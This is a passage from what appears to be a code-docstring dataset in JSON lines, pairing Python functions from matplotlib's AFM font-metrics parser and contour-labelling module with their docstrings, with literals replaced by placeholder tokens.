{"signature": "def _parse_header(fh):", "body": "headerConverters = {<EOL>'<STR_LIT>': _to_float,<EOL>'<STR_LIT>': _to_str,<EOL>'<STR_LIT>': _to_str,<EOL>'<STR_LIT>': _to_str,<EOL>'<STR_LIT>': _to_str,<EOL>'<STR_LIT>': _to_float,<EOL>'<STR_LIT>': _to_bool,<EOL>'<STR_LIT>': _to_list_of_ints,<EOL>'<STR_LIT>': _to_int,<EOL>'<STR_LIT>': _to_int,<EOL>'<STR_LIT>': _to_str,<EOL>'<STR_LIT>': _to_str,<EOL>'<STR_LIT>': _to_str,<EOL>'<STR_LIT>': _to_float, <EOL>'<STR_LIT>': _to_float, <EOL>'<STR_LIT>': _to_float,<EOL>'<STR_LIT>': _to_float,<EOL>'<STR_LIT>': _to_float,<EOL>'<STR_LIT>': _to_float,<EOL>'<STR_LIT>': _to_float,<EOL>'<STR_LIT>': _to_int,<EOL>'<STR_LIT>': _to_str,<EOL>'<STR_LIT>': _to_int,<EOL>}<EOL>d = {}<EOL>while <NUM_LIT:1>:<EOL><INDENT>line = fh.readline()<EOL>if not line: break<EOL>line = line.rstrip()<EOL>if line.startswith('<STR_LIT>'): continue<EOL>lst = line.split( '<STR_LIT:U+0020>', <NUM_LIT:1> )<EOL>key = lst[<NUM_LIT:0>]<EOL>if len( lst ) == <NUM_LIT:2>:<EOL><INDENT>val = lst[<NUM_LIT:1>]<EOL><DEDENT>else:<EOL><INDENT>val = '<STR_LIT>'<EOL><DEDENT>try: d[key] = headerConverters[key](val)<EOL>except ValueError:<EOL><INDENT>print >>sys.stderr, '<STR_LIT>', key, val<EOL>continue<EOL><DEDENT>except KeyError:<EOL><INDENT>print >>sys.stderr, '<STR_LIT>' % key<EOL>continue<EOL><DEDENT>if key=='<STR_LIT>': return d<EOL><DEDENT>raise RuntimeError('<STR_LIT>')<EOL>", "docstring": "Reads the font metrics header (up to the char metrics) and returns\na dictionary mapping *key* to *val*.  *val* will be converted to the\nappropriate python type as necessary; eg:\n\n    * 'False'->False\n    * '0'->0\n    * '-168 -218 1000 898'-> [-168, -218, 1000, 898]\n\nDictionary keys are\n\n  StartFontMetrics, FontName, FullName, FamilyName, Weight,\n  ItalicAngle, IsFixedPitch, FontBBox, UnderlinePosition,\n  UnderlineThickness, Version, Notice, EncodingScheme, CapHeight,\n  XHeight, Ascender, Descender, StartCharMetrics", "id": "f17191:m4"}
{"signature": "def _parse_char_metrics(fh):", "body": "ascii_d = {}<EOL>name_d  = {}<EOL>while <NUM_LIT:1>:<EOL><INDENT>line = fh.readline()<EOL>if not line: break<EOL>line = line.rstrip()<EOL>if line.startswith('<STR_LIT>'): return ascii_d, name_d<EOL>vals = line.split('<STR_LIT:;>')[:<NUM_LIT:4>]<EOL>if len(vals) !=<NUM_LIT:4> : raise RuntimeError('<STR_LIT>' % line)<EOL>num = _to_int(vals[<NUM_LIT:0>].split()[<NUM_LIT:1>])<EOL>wx = _to_float(vals[<NUM_LIT:1>].split()[<NUM_LIT:1>])<EOL>name = vals[<NUM_LIT:2>].split()[<NUM_LIT:1>]<EOL>bbox = _to_list_of_ints(vals[<NUM_LIT:3>][<NUM_LIT:2>:])<EOL>if name == '<STR_LIT>':<EOL><INDENT>num = <NUM_LIT><EOL><DEDENT>if num != -<NUM_LIT:1>:<EOL><INDENT>ascii_d[num] = (wx, name, bbox)<EOL><DEDENT>name_d[name] = (wx, bbox)<EOL><DEDENT>raise RuntimeError('<STR_LIT>')<EOL>", "docstring": "Return a character metric dictionary.  Keys are the ASCII num of\nthe character, values are a (*wx*, *name*, *bbox*) tuple, where\n*wx* is the character width, *name* is the postscript language\nname, and *bbox* is a (*llx*, *lly*, *urx*, *ury*) tuple.\n\nThis function is incomplete per the standard, but thus far parses\nall the sample afm files tried.", "id": "f17191:m5"}
{"signature": "def _parse_kern_pairs(fh):", "body": "line = fh.readline()<EOL>if not line.startswith('<STR_LIT>'):<EOL><INDENT>raise RuntimeError('<STR_LIT>'%line)<EOL><DEDENT>d = {}<EOL>while <NUM_LIT:1>:<EOL><INDENT>line = fh.readline()<EOL>if not line: break<EOL>line = line.rstrip()<EOL>if len(line)==<NUM_LIT:0>: continue<EOL>if line.startswith('<STR_LIT>'):<EOL><INDENT>fh.readline()  <EOL>return d<EOL><DEDENT>vals = line.split()<EOL>if len(vals)!=<NUM_LIT:4> or vals[<NUM_LIT:0>]!='<STR_LIT>':<EOL><INDENT>raise RuntimeError('<STR_LIT>'%line)<EOL><DEDENT>c1, c2, val = vals[<NUM_LIT:1>], vals[<NUM_LIT:2>], _to_float(vals[<NUM_LIT:3>])<EOL>d[(c1,c2)] = val<EOL><DEDENT>raise RuntimeError('<STR_LIT>')<EOL>", "docstring": "Return a kern pairs dictionary; keys are (*char1*, *char2*) tuples and\nvalues are the kern pair value.  For example, a kern pairs line like\n``KPX A y -50``\n\nwill be represented as::\n\n  d[ ('A', 'y') ] = -50", "id": "f17191:m6"}
{"signature": "def _parse_composites(fh):", "body": "d = {}<EOL>while <NUM_LIT:1>:<EOL><INDENT>line = fh.readline()<EOL>if not line: break<EOL>line = line.rstrip()<EOL>if len(line)==<NUM_LIT:0>: continue<EOL>if line.startswith('<STR_LIT>'):<EOL><INDENT>return d<EOL><DEDENT>vals = line.split('<STR_LIT:;>')<EOL>cc = vals[<NUM_LIT:0>].split()<EOL>name, numParts = cc[<NUM_LIT:1>], _to_int(cc[<NUM_LIT:2>])<EOL>pccParts = []<EOL>for s in vals[<NUM_LIT:1>:-<NUM_LIT:1>]:<EOL><INDENT>pcc = s.split()<EOL>name, dx, dy = pcc[<NUM_LIT:1>], _to_float(pcc[<NUM_LIT:2>]), _to_float(pcc[<NUM_LIT:3>])<EOL>pccParts.append( (name, dx, dy) )<EOL><DEDENT>d[name] = pccParts<EOL><DEDENT>raise RuntimeError('<STR_LIT>')<EOL>", "docstring": "Return a composites dictionary.  Keys are the names of the\ncomposites.  Values are a num parts list of composite information,\nwith each element being a (*name*, *dx*, *dy*) tuple.  Thus a\ncomposites line reading:\n\n  CC Aacute 2 ; PCC A 0 0 ; PCC acute 160 170 ;\n\nwill be represented as::\n\n  d['Aacute'] = [ ('A', 0, 0), ('acute', 160, 170) ]", "id": "f17191:m7"}
{"signature": "def _parse_optional(fh):", "body": "optional = {<EOL>'<STR_LIT>' : _parse_kern_pairs,<EOL>'<STR_LIT>' :  _parse_composites,<EOL>}<EOL>d = {'<STR_LIT>':{}, '<STR_LIT>':{}}<EOL>while <NUM_LIT:1>:<EOL><INDENT>line = fh.readline()<EOL>if not line: break<EOL>line = line.rstrip()<EOL>if len(line)==<NUM_LIT:0>: continue<EOL>key = line.split()[<NUM_LIT:0>]<EOL>if key in optional: d[key] = optional[key](fh)<EOL><DEDENT>l = ( d['<STR_LIT>'], d['<STR_LIT>'] )<EOL>return l<EOL>", "docstring": "Parse the optional fields for kern pair data and composites\n\nreturn value is a (*kernDict*, *compositeDict*) which are the\nreturn values from :func:`_parse_kern_pairs`, and\n:func:`_parse_composites` if the data exists, or empty dicts\notherwise", "id": "f17191:m8"}
{"signature": "def parse_afm(fh):", "body": "_sanity_check(fh)<EOL>dhead =  _parse_header(fh)<EOL>dcmetrics_ascii, dcmetrics_name = _parse_char_metrics(fh)<EOL>doptional = _parse_optional(fh)<EOL>return dhead, dcmetrics_ascii, dcmetrics_name, doptional[<NUM_LIT:0>], doptional[<NUM_LIT:1>]<EOL>", "docstring": "Parse the Adobe Font Metics file in file handle *fh*. Return value\nis a (*dhead*, *dcmetrics*, *dkernpairs*, *dcomposite*) tuple where\n*dhead* is a :func:`_parse_header` dict, *dcmetrics* is a\n:func:`_parse_composites` dict, *dkernpairs* is a\n:func:`_parse_kern_pairs` dict (possibly {}), and *dcomposite* is a\n:func:`_parse_composites` dict (possibly {})", "id": "f17191:m9"}
{"signature": "def __init__(self, fh):", "body": "(dhead, dcmetrics_ascii, dcmetrics_name, dkernpairs, dcomposite) =parse_afm(fh)<EOL>self._header = dhead<EOL>self._kern = dkernpairs<EOL>self._metrics = dcmetrics_ascii<EOL>self._metrics_by_name = dcmetrics_name<EOL>self._composite = dcomposite<EOL>", "docstring": "Parse the AFM file in file object *fh*", "id": "f17191:c0:m0"}
{"signature": "def string_width_height(self, s):", "body": "if not len(s): return <NUM_LIT:0>,<NUM_LIT:0><EOL>totalw = <NUM_LIT:0><EOL>namelast = None<EOL>miny = <NUM_LIT><EOL>maxy = <NUM_LIT:0><EOL>for c in s:<EOL><INDENT>if c == '<STR_LIT:\\n>': continue<EOL>wx, name, bbox = self._metrics[ord(c)]<EOL>l,b,w,h = bbox<EOL>try: kp = self._kern[ (namelast, name) ]<EOL>except KeyError: kp = <NUM_LIT:0><EOL>totalw += wx + kp<EOL>thismax = b+h<EOL>if thismax>maxy: maxy = thismax<EOL>thismin = b<EOL>if thismin<miny: miny = thismin<EOL><DEDENT>return totalw, maxy-miny<EOL>", "docstring": "Return the string width (including kerning) and string height\nas a (*w*, *h*) tuple.", "id": "f17191:c0:m2"}
{"signature": "def get_str_bbox_and_descent(self, s):", "body": "if not len(s): return <NUM_LIT:0>,<NUM_LIT:0>,<NUM_LIT:0>,<NUM_LIT:0><EOL>totalw = <NUM_LIT:0><EOL>namelast = None<EOL>miny = <NUM_LIT><EOL>maxy = <NUM_LIT:0><EOL>left = <NUM_LIT:0><EOL>if not isinstance(s, unicode):<EOL><INDENT>s = s.decode()<EOL><DEDENT>for c in s:<EOL><INDENT>if c == '<STR_LIT:\\n>': continue<EOL>name = uni2type1.get(ord(c), '<STR_LIT>')<EOL>try:<EOL><INDENT>wx, bbox = self._metrics_by_name[name]<EOL><DEDENT>except KeyError:<EOL><INDENT>name = '<STR_LIT>'<EOL>wx, bbox = self._metrics_by_name[name]<EOL><DEDENT>l,b,w,h = bbox<EOL>if l<left: left = l<EOL>try: kp = self._kern[ (namelast, name) ]<EOL>except KeyError: kp = <NUM_LIT:0><EOL>totalw += wx + kp<EOL>thismax = b+h<EOL>if thismax>maxy: maxy = thismax<EOL>thismin = b<EOL>if thismin<miny: miny = thismin<EOL><DEDENT>return left, miny, totalw, maxy-miny, -miny<EOL>", "docstring": "Return the string bounding box", "id": "f17191:c0:m3"}
{"signature": "def get_str_bbox(self, s):", "body": "return self.get_str_bbox_and_descent(s)[:<NUM_LIT:4>]<EOL>", "docstring": "Return the string bounding box", "id": "f17191:c0:m4"}
{"signature": "def get_name_char(self, c, isord=False):", "body": "if not isord: c=ord(c)<EOL>wx, name, bbox = self._metrics[c]<EOL>return name<EOL>", "docstring": "Get the name of the character, ie, ';' is 'semicolon'", "id": "f17191:c0:m5"}
{"signature": "def get_width_char(self, c, isord=False):", "body": "if not isord: c=ord(c)<EOL>wx, name, bbox = self._metrics[c]<EOL>return wx<EOL>", "docstring": "Get the width of the character from the character metric WX\nfield", "id": "f17191:c0:m6"}
{"signature": "def get_width_from_char_name(self, name):", "body": "wx, bbox = self._metrics_by_name[name]<EOL>return wx<EOL>", "docstring": "Get the width of the character from a type1 character name", "id": "f17191:c0:m7"}
{"signature": "def get_height_char(self, c, isord=False):", "body": "if not isord: c=ord(c)<EOL>wx, name, bbox = self._metrics[c]<EOL>return bbox[-<NUM_LIT:1>]<EOL>", "docstring": "Get the height of character *c* from the bounding box.  This\nis the ink height (space is 0)", "id": "f17191:c0:m8"}
{"signature": "def get_kern_dist(self, c1, c2):", "body": "name1, name2 = self.get_name_char(c1), self.get_name_char(c2)<EOL>return self.get_kern_dist_from_name(name1, name2)<EOL>", "docstring": "Return the kerning pair distance (possibly 0) for chars *c1*\nand *c2*", "id": "f17191:c0:m9"}
{"signature": "def get_kern_dist_from_name(self, name1, name2):", "body": "try: return self._kern[ (name1, name2) ]<EOL>except: return <NUM_LIT:0><EOL>", "docstring": "Return the kerning pair distance (possibly 0) for chars\n*name1* and *name2*", "id": "f17191:c0:m10"}
{"signature": "def get_fontname(self):", "body": "return self._header['<STR_LIT>']<EOL>", "docstring": "Return the font name, eg, 'Times-Roman", "id": "f17191:c0:m11"}
{"signature": "def get_fullname(self):", "body": "name = self._header.get('<STR_LIT>')<EOL>if name is None: <EOL><INDENT>name = self._header['<STR_LIT>']<EOL><DEDENT>return name<EOL>", "docstring": "Return the font full name, eg, 'Times-Roman", "id": "f17191:c0:m12"}
{"signature": "def get_familyname(self):", "body": "name = self._header.get('<STR_LIT>')<EOL>if name is not None:<EOL><INDENT>return name<EOL><DEDENT>name = self.get_fullname()<EOL>extras = r'<STR_LIT>'<EOL>return re.sub(extras, '<STR_LIT>', name)<EOL>", "docstring": "Return the font family name, eg, 'Times", "id": "f17191:c0:m13"}
{"signature": "def get_weight(self):", "body": "return self._header['<STR_LIT>']<EOL>", "docstring": "Return the font weight, eg, 'Bold' or 'Roman", "id": "f17191:c0:m14"}
{"signature": "def get_angle(self):", "body": "return self._header['<STR_LIT>']<EOL>", "docstring": "Return the fontangle as float", "id": "f17191:c0:m15"}
{"signature": "def get_capheight(self):", "body": "return self._header['<STR_LIT>']<EOL>", "docstring": "Return the cap height as float", "id": "f17191:c0:m16"}
{"signature": "def get_xheight(self):", "body": "return self._header['<STR_LIT>']<EOL>", "docstring": "Return the xheight as float", "id": "f17191:c0:m17"}
{"signature": "def get_underline_thickness(self):", "body": "return self._header['<STR_LIT>']<EOL>", "docstring": "Return the underline thickness as float", "id": "f17191:c0:m18"}
{"signature": "def get_horizontal_stem_width(self):", "body": "return self._header.get('<STR_LIT>', None)<EOL>", "docstring": "Return the standard horizontal stem width as float, or *None* if\nnot specified in AFM file.", "id": "f17191:c0:m19"}
{"signature": "def get_vertical_stem_width(self):", "body": "return self._header.get('<STR_LIT>', None)<EOL>", "docstring": "Return the standard vertical stem width as float, or *None* if\nnot specified in AFM file.", "id": "f17191:c0:m20"}
{"signature": "def clabel(self, *args, **kwargs):", "body": "\"\"\"<STR_LIT>\"\"\"<EOL>fontsize = kwargs.get('<STR_LIT>', None)<EOL>inline = kwargs.get('<STR_LIT>', <NUM_LIT:1>)<EOL>inline_spacing = kwargs.get('<STR_LIT>', <NUM_LIT:5>)<EOL>self.labelFmt = kwargs.get('<STR_LIT>', '<STR_LIT>')<EOL>_colors = kwargs.get('<STR_LIT>', None)<EOL>self.labelManual=kwargs.get('<STR_LIT>',False)<EOL>if len(args) == <NUM_LIT:0>:<EOL><INDENT>levels = self.levels<EOL>indices = list(range(len(self.levels)))<EOL><DEDENT>elif len(args) == <NUM_LIT:1>:<EOL><INDENT>levlabs = list(args[<NUM_LIT:0>])<EOL>indices, levels = [], []<EOL>for i, lev in enumerate(self.levels):<EOL><INDENT>if lev in levlabs:<EOL><INDENT>indices.append(i)<EOL>levels.append(lev)<EOL><DEDENT><DEDENT>if len(levels) < len(levlabs):<EOL><INDENT>msg = \"<STR_LIT>\" + str(levlabs)<EOL>msg += \"<STR_LIT>\"<EOL>msg += str(self.levels)<EOL>raise ValueError(msg)<EOL><DEDENT><DEDENT>else:<EOL><INDENT>raise TypeError(\"<STR_LIT>\")<EOL><DEDENT>self.labelLevelList = levels<EOL>self.labelIndiceList = indices<EOL>self.labelFontProps = font_manager.FontProperties()<EOL>if fontsize == None:<EOL><INDENT>font_size = int(self.labelFontProps.get_size_in_points())<EOL><DEDENT>else:<EOL><INDENT>if type(fontsize) not in [int, float, str]:<EOL><INDENT>raise TypeError(\"<STR_LIT>\")<EOL><DEDENT>else:<EOL><INDENT>if type(fontsize) == str:<EOL><INDENT>font_size = int(self.labelFontProps.get_size_in_points())<EOL><DEDENT>else:<EOL><INDENT>self.labelFontProps.set_size(fontsize)<EOL>font_size = fontsize<EOL><DEDENT><DEDENT><DEDENT>self.labelFontSizeList = [font_size] * len(levels)<EOL>if _colors == None:<EOL><INDENT>self.labelMappable = self<EOL>self.labelCValueList = np.take(self.cvalues, self.labelIndiceList)<EOL><DEDENT>else:<EOL><INDENT>cmap = colors.ListedColormap(_colors, N=len(self.labelLevelList))<EOL>self.labelCValueList = list(range(len(self.labelLevelList)))<EOL>self.labelMappable = cm.ScalarMappable(cmap = cmap,<EOL>norm = colors.NoNorm())<EOL><DEDENT>self.labelXYs = []<EOL>if self.labelManual:<EOL><INDENT>print('<STR_LIT>')<EOL>print('<STR_LIT>')<EOL>if not inline:<EOL><INDENT>print('<STR_LIT>')<EOL><DEDENT>blocking_contour_labeler = BlockingContourLabeler(self)<EOL>blocking_contour_labeler(inline,inline_spacing)<EOL><DEDENT>else:<EOL><INDENT>self.labels(inline,inline_spacing)<EOL><DEDENT>self.cl = self.labelTexts<EOL>self.cl_xy = self.labelXYs<EOL>self.cl_cvalues = self.labelCValues<EOL>self.labelTextsList =  cbook.silent_list('<STR_LIT>', self.labelTexts)<EOL>return self.labelTextsList<EOL>", "docstring": "call signature::\n\n  clabel(cs, **kwargs)\n\nadds labels to line contours in *cs*, where *cs* is a\n:class:`~matplotlib.contour.ContourSet` object returned by\ncontour.\n\n::\n\n  clabel(cs, v, **kwargs)\n\nonly labels contours listed in *v*.\n\nOptional keyword arguments:\n\n  *fontsize*:\n    See http://matplotlib.sf.net/fonts.html\n\n  *colors*:\n    - if *None*, the color of each label matches the color of\n      the corresponding contour\n\n    - if one string color, e.g. *colors* = 'r' or *colors* =\n      'red', all labels will be plotted in this color\n\n    - if a tuple of matplotlib color args (string, float, rgb, etc),\n      different labels will be plotted in different colors in the order\n      specified\n\n  *inline*:\n    controls whether the underlying contour is removed or\n    not. Default is *True*.\n\n  *inline_spacing*:\n    space in pixels to leave on each side of label when\n    placing inline.  Defaults to 5.  This spacing will be\n    exact for labels at locations where the contour is\n    straight, less so for labels on curved contours.\n\n  *fmt*:\n    a format string for the label. Default is '%1.3f'\n    Alternatively, this can be a dictionary matching contour\n    levels with arbitrary strings to use for each contour level\n    (i.e., fmt[level]=string)\n\n  *manual*:\n    if *True*, contour labels will be placed manually using\n    mouse clicks.  Click the first button near a contour to\n    add a label, click the second button (or potentially both\n    mouse buttons at once) to finish adding labels.  The third\n    button can be used to remove the last label added, but\n    only if labels are not inline.  Alternatively, the keyboard\n    can be used to select label locations (enter to end label\n    placement, delete or backspace act like the third mouse button,\n    and any other key will select a label location).\n\n.. plot:: mpl_examples/pylab_examples/contour_demo.py", "id": "f17192:c0:m0"}
{"signature": "def print_label(self, linecontour,labelwidth):", "body": "lcsize = len(linecontour)<EOL>if lcsize > <NUM_LIT:10> * labelwidth:<EOL><INDENT>return <NUM_LIT:1><EOL><DEDENT>xmax = np.amax(linecontour[:,<NUM_LIT:0>])<EOL>xmin = np.amin(linecontour[:,<NUM_LIT:0>])<EOL>ymax = np.amax(linecontour[:,<NUM_LIT:1>])<EOL>ymin = np.amin(linecontour[:,<NUM_LIT:1>])<EOL>lw = labelwidth<EOL>if (xmax - xmin) > <NUM_LIT>* lw or (ymax - ymin) > <NUM_LIT> * lw:<EOL><INDENT>return <NUM_LIT:1><EOL><DEDENT>else:<EOL><INDENT>return <NUM_LIT:0><EOL><DEDENT>", "docstring": "if contours are too short, don't plot a label", "id": "f17192:c0:m1"}
{"signature": "def too_close(self, x,y, lw):", "body": "if self.labelXYs != []:<EOL><INDENT>dist = [np.sqrt((x-loc[<NUM_LIT:0>]) ** <NUM_LIT:2> + (y-loc[<NUM_LIT:1>]) ** <NUM_LIT:2>)<EOL>for loc in self.labelXYs]<EOL>for d in dist:<EOL><INDENT>if d < <NUM_LIT>*lw:<EOL><INDENT>return <NUM_LIT:1><EOL><DEDENT>else: return <NUM_LIT:0><EOL><DEDENT><DEDENT>else: return <NUM_LIT:0><EOL>", "docstring": "if there's a label already nearby, find a better place", "id": "f17192:c0:m2"}
{"signature": "def get_label_coords(self, distances, XX, YY, ysize, lw):", "body": "hysize = int(ysize/<NUM_LIT:2>)<EOL>adist = np.argsort(distances)<EOL>for ind in adist:<EOL><INDENT>x, y = XX[ind][hysize], YY[ind][hysize]<EOL>if self.too_close(x,y, lw):<EOL><INDENT>continue<EOL><DEDENT>else:<EOL><INDENT>return x,y, ind<EOL><DEDENT><DEDENT>ind = adist[<NUM_LIT:0>]<EOL>x, y = XX[ind][hysize], YY[ind][hysize]<EOL>return x,y, ind<EOL>", "docstring": "labels are ploted at a location with the smallest\n        dispersion of the contour from a straight line\n        unless there's another label nearby, in which case\n        the second best place on the contour is picked up\n        if there's no good place a label isplotted at the\n        beginning of the contour", "id": "f17192:c0:m3"}
{"signature": "def get_label_width(self, lev, fmt, fsize):", "body": "if cbook.is_string_like(lev):<EOL><INDENT>lw = (len(lev)) * fsize<EOL><DEDENT>else:<EOL><INDENT>lw = (len(self.get_text(lev,fmt))) * fsize<EOL><DEDENT>return lw<EOL>", "docstring": "get the width of the label in points", "id": "f17192:c0:m4"}
{"signature": "def get_real_label_width( self, lev, fmt, fsize ):", "body": "<EOL>xx = np.mean( np.asarray(self.ax.axis()).reshape(<NUM_LIT:2>,<NUM_LIT:2>), axis=<NUM_LIT:1> )<EOL>t = text.Text( xx[<NUM_LIT:0>], xx[<NUM_LIT:1>] )<EOL>self.set_label_props( t, self.get_text(lev,fmt), '<STR_LIT:k>' )<EOL>bbox = t.get_window_extent(renderer=self.ax.figure.canvas.renderer)<EOL>lw = np.diff(bbox.corners()[<NUM_LIT:0>::<NUM_LIT:2>,<NUM_LIT:0>])[<NUM_LIT:0>]<EOL>return lw<EOL>", "docstring": "This computes actual onscreen label width.\nThis uses some black magic to determine onscreen extent of non-drawn\nlabel.  This magic may not be very robust.", "id": "f17192:c0:m5"}
{"signature": "def set_label_props(self, label, text, color):", "body": "label.set_text(text)<EOL>label.set_color(color)<EOL>label.set_fontproperties(self.labelFontProps)<EOL>label.set_clip_box(self.ax.bbox)<EOL>", "docstring": "set the label properties - color, fontsize, text", "id": "f17192:c0:m6"}
{"signature": "def get_text(self, lev, fmt):", "body": "if cbook.is_string_like(lev):<EOL><INDENT>return lev<EOL><DEDENT>else:<EOL><INDENT>if isinstance(fmt,dict):<EOL><INDENT>return fmt[lev]<EOL><DEDENT>else:<EOL><INDENT>return fmt%lev<EOL><DEDENT><DEDENT>", "docstring": "get the text of the label", "id": "f17192:c0:m7"}
{"signature": "def locate_label(self, linecontour, labelwidth):", "body": "nsize= len(linecontour)<EOL>if labelwidth > <NUM_LIT:1>:<EOL><INDENT>xsize = int(np.ceil(nsize/labelwidth))<EOL><DEDENT>else:<EOL><INDENT>xsize = <NUM_LIT:1><EOL><DEDENT>if xsize == <NUM_LIT:1>:<EOL><INDENT>ysize = nsize<EOL><DEDENT>else:<EOL><INDENT>ysize = labelwidth<EOL><DEDENT>XX = np.resize(linecontour[:,<NUM_LIT:0>],(xsize, ysize))<EOL>YY = np.resize(linecontour[:,<NUM_LIT:1>],(xsize, ysize))<EOL>yfirst = YY[:,<NUM_LIT:0>].reshape(xsize, <NUM_LIT:1>)<EOL>ylast = YY[:,-<NUM_LIT:1>].reshape(xsize, <NUM_LIT:1>)<EOL>xfirst = XX[:,<NUM_LIT:0>].reshape(xsize, <NUM_LIT:1>)<EOL>xlast = XX[:,-<NUM_LIT:1>].reshape(xsize, <NUM_LIT:1>)<EOL>s = (yfirst-YY) * (xlast-xfirst) - (xfirst-XX) * (ylast-yfirst)<EOL>L = np.sqrt((xlast-xfirst)**<NUM_LIT:2>+(ylast-yfirst)**<NUM_LIT:2>).ravel()<EOL>dist = np.add.reduce(([(abs(s)[i]/L[i]) for i in range(xsize)]),-<NUM_LIT:1>)<EOL>x,y,ind = self.get_label_coords(dist, XX, YY, ysize, labelwidth)<EOL>lc = [tuple(l) for l in linecontour]<EOL>dind = lc.index((x,y))<EOL>return x, y, dind<EOL>", "docstring": "find a good place to plot a label (relatively flat\n        part of the contour) and the angle of rotation for the\n        text object", "id": "f17192:c0:m8"}
{"signature": "def calc_label_rot_and_inline( self, slc, ind, lw, lc=None, spacing=<NUM_LIT:5> ):", "body": "if lc is None: lc = []<EOL>hlw = lw/<NUM_LIT><EOL>closed = mlab.is_closed_polygon(slc)<EOL>if closed:<EOL><INDENT>slc = np.r_[ slc[ind:-<NUM_LIT:1>], slc[:ind+<NUM_LIT:1>] ]<EOL>if len(lc): <EOL><INDENT>lc = np.r_[ lc[ind:-<NUM_LIT:1>], lc[:ind+<NUM_LIT:1>] ]<EOL><DEDENT>ind = <NUM_LIT:0><EOL><DEDENT>pl = mlab.path_length(slc)<EOL>pl = pl-pl[ind]<EOL>xi = np.array( [ -hlw, hlw ] )<EOL>if closed: <EOL><INDENT>dp = np.array([pl[-<NUM_LIT:1>],<NUM_LIT:0>])<EOL><DEDENT>else:<EOL><INDENT>dp = np.zeros_like(xi)<EOL><DEDENT>ll = mlab.less_simple_linear_interpolation( pl, slc, dp+xi,<EOL>extrap=True )<EOL>dd = np.diff( ll, axis=<NUM_LIT:0> ).ravel()<EOL>if np.all(dd==<NUM_LIT:0>): <EOL><INDENT>rotation = <NUM_LIT:0.0><EOL><DEDENT>else:<EOL><INDENT>rotation = np.arctan2(dd[<NUM_LIT:1>], dd[<NUM_LIT:0>]) * <NUM_LIT> / np.pi<EOL><DEDENT>if rotation > <NUM_LIT>:<EOL><INDENT>rotation = rotation - <NUM_LIT><EOL><DEDENT>if rotation < -<NUM_LIT>:<EOL><INDENT>rotation = <NUM_LIT> + rotation<EOL><DEDENT>nlc = []<EOL>if len(lc):<EOL><INDENT>xi = dp + xi + np.array([-spacing,spacing])<EOL>I = mlab.less_simple_linear_interpolation(<EOL>pl, np.arange(len(pl)), xi, extrap=False )<EOL>if (not np.isnan(I[<NUM_LIT:0>])) and int(I[<NUM_LIT:0>])!=I[<NUM_LIT:0>]:<EOL><INDENT>xy1 = mlab.less_simple_linear_interpolation(<EOL>pl, lc, [ xi[<NUM_LIT:0>] ] )<EOL><DEDENT>if (not np.isnan(I[<NUM_LIT:1>])) and int(I[<NUM_LIT:1>])!=I[<NUM_LIT:1>]:<EOL><INDENT>xy2 = mlab.less_simple_linear_interpolation(<EOL>pl, lc, [ xi[<NUM_LIT:1>] ] )<EOL><DEDENT>I = [ np.floor(I[<NUM_LIT:0>]), np.ceil(I[<NUM_LIT:1>]) ]<EOL>if closed:<EOL><INDENT>if np.all(~np.isnan(I)):<EOL><INDENT>nlc.append( np.r_[ xy2, lc[I[<NUM_LIT:1>]:I[<NUM_LIT:0>]+<NUM_LIT:1>], xy1 ] )<EOL><DEDENT><DEDENT>else:<EOL><INDENT>if not np.isnan(I[<NUM_LIT:0>]):<EOL><INDENT>nlc.append( np.r_[ lc[:I[<NUM_LIT:0>]+<NUM_LIT:1>], xy1 ] )<EOL><DEDENT>if not np.isnan(I[<NUM_LIT:1>]):<EOL><INDENT>nlc.append( np.r_[ xy2, lc[I[<NUM_LIT:1>]:] ] )<EOL><DEDENT><DEDENT><DEDENT>return (rotation,nlc)<EOL>", "docstring": "This function calculates the appropriate label rotation given\nthe linecontour coordinates in screen units, the index of the\nlabel location and the label width.\n\nIt will also break contour and calculate inlining if *lc* is\nnot empty (lc defaults to the empty list if None).  *spacing*\nis the space around the label in pixels to leave empty.\n\nDo both of these tasks at once to avoid calling mlab.path_length\nmultiple times, which is relatively costly.\n\nThe method used here involves calculating the path length\nalong the contour in pixel coordinates and then looking\napproximately label width / 2 away from central point to\ndetermine rotation and then to break contour if desired.", "id": "f17192:c0:m9"}
{"signature": "def pop_label(self,index=-<NUM_LIT:1>):", "body": "self.labelCValues.pop(index)<EOL>t = self.labelTexts.pop(index)<EOL>t.remove()<EOL>", "docstring": "Defaults to removing last label, but any index can be supplied", "id": "f17192:c0:m11"}
{"signature": "def __init__(self, ax, *args, **kwargs):", "body": "self.ax = ax<EOL>self.levels = kwargs.get('<STR_LIT>', None)<EOL>self.filled = kwargs.get('<STR_LIT>', False)<EOL>self.linewidths = kwargs.get('<STR_LIT>', None)<EOL>self.linestyles = kwargs.get('<STR_LIT>', '<STR_LIT>')<EOL>self.alpha = kwargs.get('<STR_LIT>', <NUM_LIT:1.0>)<EOL>self.origin = kwargs.get('<STR_LIT>', None)<EOL>self.extent = kwargs.get('<STR_LIT>', None)<EOL>cmap = kwargs.get('<STR_LIT>', None)<EOL>self.colors = kwargs.get('<STR_LIT>', None)<EOL>norm = kwargs.get('<STR_LIT>', None)<EOL>self.extend = kwargs.get('<STR_LIT>', '<STR_LIT>')<EOL>self.antialiased = kwargs.get('<STR_LIT>', True)<EOL>self.nchunk = kwargs.get('<STR_LIT>', <NUM_LIT:0>)<EOL>self.locator = kwargs.get('<STR_LIT>', None)<EOL>if (isinstance(norm, colors.LogNorm)<EOL>or isinstance(self.locator, ticker.LogLocator)):<EOL><INDENT>self.logscale = True<EOL>if norm is None:<EOL><INDENT>norm = colors.LogNorm()<EOL><DEDENT>if self.extend is not '<STR_LIT>':<EOL><INDENT>raise ValueError('<STR_LIT>')<EOL><DEDENT><DEDENT>else:<EOL><INDENT>self.logscale = False<EOL><DEDENT>if self.origin is not None: assert(self.origin in<EOL>['<STR_LIT>', '<STR_LIT>', '<STR_LIT:image>'])<EOL>if self.extent is not None: assert(len(self.extent) == <NUM_LIT:4>)<EOL>if cmap is not None: assert(isinstance(cmap, colors.Colormap))<EOL>if self.colors is not None and cmap is not None:<EOL><INDENT>raise ValueError('<STR_LIT>')<EOL><DEDENT>if self.origin == '<STR_LIT:image>': self.origin = mpl.rcParams['<STR_LIT>']<EOL>x, y, z = self._contour_args(*args)        <EOL>if self.colors is not None:<EOL><INDENT>cmap = colors.ListedColormap(self.colors, N=len(self.layers))<EOL><DEDENT>if self.filled:<EOL><INDENT>self.collections = cbook.silent_list('<STR_LIT>')<EOL><DEDENT>else:<EOL><INDENT>self.collections = cbook.silent_list('<STR_LIT>')<EOL><DEDENT>self.labelTexts = []<EOL>self.labelCValues = []<EOL>kw = {'<STR_LIT>': cmap}<EOL>if norm is not 